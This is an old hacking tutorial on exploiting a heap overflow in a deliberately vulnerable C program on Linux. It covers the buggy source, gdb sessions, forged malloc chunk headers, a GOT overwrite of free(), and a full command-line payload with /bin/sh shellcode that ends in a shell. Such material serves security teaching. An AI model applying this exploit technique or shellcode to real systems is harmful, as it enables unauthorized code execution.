home *** CD-ROM | disk | FTP | other *** search
- HEAP OVERFLOW TUTORIAL
-
-
- INTRODUCTION
-
- This paper was written for users who want a practical demonstration
- of a heap overflow being exploited. Please practice on linux, for it uses
- Doug Lea's malloc. I used RedHat 7.2.
-
- I THE VULNERABLE LOCAL BINARY
-
- I created this contrived example for this paper. If you do not see
- the problem, I cannot help you.
-
- /* a.c */
-
- #include <stdio.h>
-
- int main(int argc, char **argv)
- {
-
- char *buf1, *buf2, *buf3;
-
- if(argc == 1) {
- printf("\nThis program takes a string as an arguement.\n");
- return(0);
- }
-
- buf1 = (char *) malloc(56);
- buf2 = (char *) malloc(56);
- buf3 = (char *) malloc(56);
-
- strcpy(buf2,"CCCCCCCCCCCCCCCC");
- strcpy(buf1, argv[1]);
-
- printf("\n%s\n", buf1);
-
- free(buf2);
- free(buf1);
-
- strcpy(buf3, "END OF PROGRAM");
- printf("\n%s\n", buf3);
-
- free(buf3);
-
- return(0);
-
- }
-
- Compile the file with -ggdb flag. Experiment with it and activate
- the bug. If you do not know what to expect I cannot help you.
-
- II DISCUSSION OF STRATEGIES
-
- Obviously we control the contents of buf1 and can potentially overflow
- buf2 and buf3's chunk information. Looking at it the first thing that comes
- to my mind is the off by five technique. This will not work though. In order
- to trick the first free() to think previous chunk is freed and to "go backwards
- to buf1" we would need to write a positive integer to buf2's previous size
- chunk data area. This would mean a null byte or three in our string, which we
- cannot do in a practical way.
-
- This means we would want to corrupt the first 8 bytes of buf2. This
- way we can create a virtual chunk directly after buf2's first 16 bytes, and
- while we are at it the shellcode will go right after with slight modifications.
- I should probably mention I plan to overwrite the GOT ptr - 12 for free(), and
- the return address will soon be obvious.
-
- I suppose a ascii diagram is in order.
-
- <56 bytes of crap> <previous size of buf2> <size of buf2> <8 bytes of crap>
- <ptr safe 4 bytes> <ptr safe 4 bytes> <ptr to overwrite location - 12>
- <return addy> <jump ahead 12> <12 bytes of crap> <shellcode of your choice>
-
- Now i am gettig drunk on July 3rd. Tommorrow off, sweet. Anyway, refill.
- Brb. I admit it looks ugly, but those null bytes... The easiest way to get the
- GOT pointer to overwrite is "objdump -R a | grep free". Remember to subtract 12
- bytes from that number. As for the return address, if you cannot figure that out
- I cannot help you.
-
- Now I should show the usual gdb output I guess. Here is a session of mine.
-
- [fc@localhost fc]$ gcc -ggdb -o a a.c
- [fc@localhost fc]$ gdb a
- GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
- Copyright 2001 Free Software Foundation, Inc.
- GDB is free software, covered by the GNU General Public License, and you are
- welcome to change it and/or distribute copies of it under certain conditions.
- Type "show copying" to see the conditions.
- There is absolutely no warranty for GDB. Type "show warranty" for details.
- This GDB was configured as "i386-redhat-linux"...
- (gdb) break strcpy
- Breakpoint 1 at 0x80483e8
- (gdb) run aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
- Starting program: /home/fc/a aaaaaaaaaaaaa...
- Breakpoint 1 at 0x400aaf2a: file ../sysdeps/generic/strcpy.c, line 34.
-
- Breakpoint 1, strcpy (dest=0x8049860 "", src=0x80486af 'C' <repeats 16 times>)
- at ../sysdeps/generic/strcpy.c:34
- 34 ../sysdeps/generic/strcpy.c: No such file or directory.
- in ../sysdeps/generic/strcpy.c
- (gdb) cont
- Continuing.
-
- Breakpoint 1, strcpy (dest=0x8049820 "", src=0xbffffb86 'a' <repeats 60 times>)
- at ../sysdeps/generic/strcpy.c:34
- 34 in ../sysdeps/generic/strcpy.c
- (gdb) x/4x 0x8049858
- 0x8049858: 0x00000000 0x00000041 0x43434343 0x43434343
- (gdb) break chunk_free
- Breakpoint 2 at 0x400a5916: file malloc.c, line 3166.
- (gdb) cont
- Continuing.
-
- aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
-
- Breakpoint 2, chunk_free (ar_ptr=0x40157160, p=0x8049858) at malloc.c:3166
- 3166 malloc.c: No such file or directory.
- in malloc.c
- (gdb) x/4x 0x8049858
- 0x8049858: 0x61616161 0x00000000 0x43434343 0x43434343
- (gdb) cont
- Continuing.
-
- Program received signal SIGSEGV, Segmentation fault.
- 0x400a5b2d in chunk_free (ar_ptr=0x40157160, p=0xa6a336f7) at malloc.c:3225
- 3225 in malloc.c
-
- I wanted to show why the off by five technique wouldn't work for me.
- Do you see the last value for 'p' above? That is 0x8049858 - 0x61616161 =
- 0xa6a336f7 , so this means to me we have pretty good control of 'p'. This is
- a critical main idea.
- Now why wouldn't the off by five work? Becuase I cannot have null
- bytes in my one main string (argv[1]). The smallest positive integer I could
- place there without a null byte is 17895697 (0x01111111), and that goes
- too far "backwards". Also, the amount of A's is the smallest amount to cause
- a seg. Remember that buf2's previous size data area doesn't come into play
- until the chunk is freed or appears to be freed.
-
- Ok, so in summary, the above gdb output shows me overflowing into
- buf2 by one byte. That null byte overwrites 0x00000041. That null byte
- does one main thing. It makes the least significant bit of buf2's size chunk
- area 0. That means previous chunk behind buf2 is 'freed', but it really isn't.
- But since it appears the previous chunk is freed, one can control the free()
- and its one arguement, a pointer. The only problem is making it "go backwards",
- going "forwards" is ideal. That is exactly what we will do instead of the off
- by five technique and a virtual chunk behind buf2.
-
- III EXPLOITING THIS CONTRIVED EXAMPLE
-
- That ascii diagram basically shows the layout. But I will show how
- I got the correct information.
-
- Now since the strcpy src we control has to be 'used' up, I supplied
- 56 bytes of assorted garbage. I used,
- "thisismyexploitforthecontrivedexampleinmyheaptutorial!!!", which is 56
- bytes long. This corresponds to the ascii diagram, <56 bytes of crap>.
-
- The next part in the ascii diagram is, <previous size of buf2>,
- and we want this to be -16. The reason why for -16 is because we cant have
- a small positive integer and we want the pointer to free() to 'jump'
- ahead 16 bytes. I used 0xfffffff0 which is -16 in hex.
-
- Next, is buf2's size chunk area. This value has to have the least
- significant bit set to 0 and the 2nd least significant bit set to zero also
- to be on the safe side. I used 0xfffffffc which works out well.
-
- The next 8 bytes can be anything you want except null bytes.
-
- The next two groups of 4 bytes just need to be pointer safe. In
- the sense they do not contain null bytes and one can add to a pointer
- without causing a problem.
-
- [fc@localhost fc]$ objdump -R a | grep free
- 08049728 R_386_JUMP_SLOT free
-
- This is the GOT pointer for free(). This part of the ascii diagram.
- <ptr to overwrite location - 12>. The reason for subtracting 12 bytes is
- because that data isnt in our control. It is overwritten before the shell-
- code executes and that works around it.
-
- The <return addy> is simply where your shellcode begins. To be
- exact, it is where that jump ahead 12 shellcode is, <jump ahead 12>
-
- Pretty self-explanatory, <12 bytes of crap>.
-
- And this is also pretty straight-forward, <shellcode of your choice>.
-
- So, let me craft my string for argv[1].
-
- <56 bytes of crap>
- thisismyexploitforthecontrivedexampleinmyheaptutorial!!!
- <previous size of buf2>
- \xf0\xff\xff\xff
- <size of buf2>
- \xfc\xff\xff\xff
- <8 bytes of crap>
- \xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc
- <ptr safe 4 bytes>
- \xfc\xff\xff\xff
- <ptr safe 4 bytes>
- \xfc\xff\xff\xff
- <ptr to overwrite location - 12>
- \x1c\x97\x04\x08
- <return addy>
- \x78\x98\x04\x08
- <jump ahead 12>
- \xeb\x0c
- <12 bytes of crap>
- \xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc
- <shellcode of your choice>
- \xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56
- \x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b
- \xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh
-
- So let me do another gdb session, and finish up with a run on
- the command line.
-
- [fc@localhost fc]$ gdb a
- GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
- Copyright 2001 Free Software Foundation, Inc.
- GDB is free software, covered by the GNU General Public License, and you are
- welcome to change it and/or distribute copies of it under certain conditions.
- Type "show copying" to see the conditions.
- There is absolutely no warranty for GDB. Type "show warranty" for details.
- This GDB was configured as "i386-redhat-linux"...
- (gdb) break strcpy
- Breakpoint 1 at 0x80483e8
- (gdb) run `perl -e ' print "thisismyexploitforthecontrivedexampleinmyheaptutor
- ial!!!\xf0\xff\xff\xff\xfc\xff\xff\xff\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xff
- \xff\xff\xfc\xff\xff\xff\x1c\x97\x04\x08\x78\x98\x04\x08\xeb\x0c\xfc\xfc\xfc
- \xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2
- \x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b
- \x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"'`
-
- Starting program: /home/fc/a `perl -e ' print "thisismyexploit...
- Breakpoint 1 at 0x400aaf2a: file ../sysdeps/generic/strcpy.c, line 34.
-
- Breakpoint 1, strcpy (dest=0x8049860 "", src=0x80486af 'C' <repeats 16 times>)
- 34 ../sysdeps/generic/strcpy.c: No such file or directory.
- in ../sysdeps/generic/strcpy.c
- (gdb) cont
- Continuing.
-
- Breakpoint 1, strcpy (dest=0x8049820 "",
- src=0xbffffb2a "thisismyexploitforthecontrivedexampleinmyheaptutorial!!!
- ≡ ⁿ ⁿⁿⁿⁿⁿⁿⁿⁿⁿ ⁿ \034\227\004\bx\230\004\bδ\f",
- 'ⁿ' <repeats 12 times>, "δ$^\215\036\211^\0133╥\211V\a\211V
- \017╕\eV4\0225\020V4\022\215N\013\213╤═\2003└@═\200Φ╫
- /bin/sh") at ../sysdeps/generic/strcpy.c:34
- 34 in ../sysdeps/generic/strcpy.c
- (gdb) break chunk_free
- Breakpoint 2 at 0x400a5916: file malloc.c, line 3166.
- (gdb) x/4x 0x8049858
- 0x8049858: 0x00000000 0x00000041 0x43434343 0x43434343
- (gdb) cont
- Continuing.
-
- thisismyexploitforthecontrivedexampleinmyheaptutorial!!!≡ ⁿ ⁿⁿⁿⁿⁿⁿⁿⁿⁿ ⁿ xδ
- ⁿⁿⁿⁿⁿⁿⁿⁿⁿⁿⁿⁿδ$^ìë^
- 3╥ëVëV╕45V4ìN
- ï╤═Ç3└@═ÇΦ╫ /bin/sh
-
- Breakpoint 2, chunk_free (ar_ptr=0x40157160, p=0x8049858) at malloc.c:3166
- 3166 malloc.c: No such file or directory.
- in malloc.c
- (gdb) x/4x 0x8049858
- 0x8049858: 0xfffffff0 0xfffffffc 0xfcfcfcfc 0xfcfcfcfc
- (gdb) x/4x 0x8049868
- 0x8049868: 0xfffffffc 0xfffffffc 0x0804971c 0x08049878
- (gdb) x/4x 0x8049878
- 0x8049878: 0xfcfc0ceb 0xfcfcfcfc 0xfcfcfcfc 0x24ebfcfc
- (gdb) x/4x 0x8049888
- 0x8049888: 0x891e8d5e 0xd2330b5e 0x89075689 0x1bb80f56
- (gdb) x/4x 0x8049898
- 0x8049898: 0x35123456 0x12345610 0x8b0b4e8d 0x3380cdd1
- (gdb) x/4x 0x80498a8
- 0x80498a8: 0x80cd40c0 0xffffd7e8 0x69622fff 0x68732f6e
- (gdb) x/4x 0x80498b8
- 0x80498b8: 0x00000000 0x00000000 0x00000000 0x00000000
- (gdb) cont
- Continuing.
-
- Program received signal SIGTRAP, Trace/breakpoint trap.
- Cannot remove breakpoints because program is no longer writable.
- It might be running in another process.
- Further execution is probably impossible.
- 0x40001de0 in _start () at rtld.c:158
- 158 rtld.c: No such file or directory.
- in rtld.c
- (gdb) quit
- The program is running. Exit anyway? (y or n) y
- [fc@localhost fc]$
-
- Well, that looks pretty good to me. I will now try running it
- on the command line.
-
- [fc@localhost fc]$ ./a `perl -e ' print "thisismyexploitforthecontrivedexample
- inmyheaptutorial!!!\xf0\xff\xff\xff\xfc\xff\xff\xff\xfc\xfc\xfc\xfc\xfc\xfc\xfc
- \xfc\xfc\xff\xff\xff\xfc\xff\xff\xff\x1c\x97\x04\x08\x78\x98\x04\x08\xeb\x0c
- \xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xeb\x24\x5e\x8d\x1e\x89\x5e
- \x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12
- \x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"'`
-
- thisismyexploitforthecontrivedexampleinmyheaptutorial!!!≡ ⁿ ⁿⁿⁿⁿⁿⁿⁿⁿⁿ ⁿ xδ
- ⁿⁿⁿⁿⁿⁿⁿⁿⁿⁿⁿⁿδ$^ìë^
- 3╥ëVëV╕45V4ìN
- ï╤═Ç3└@═ÇΦ╫ /bin/sh
- sh-2.05$
-
- That is a wrap. Take it easy and keep practicing.
-
-
-
-
-
-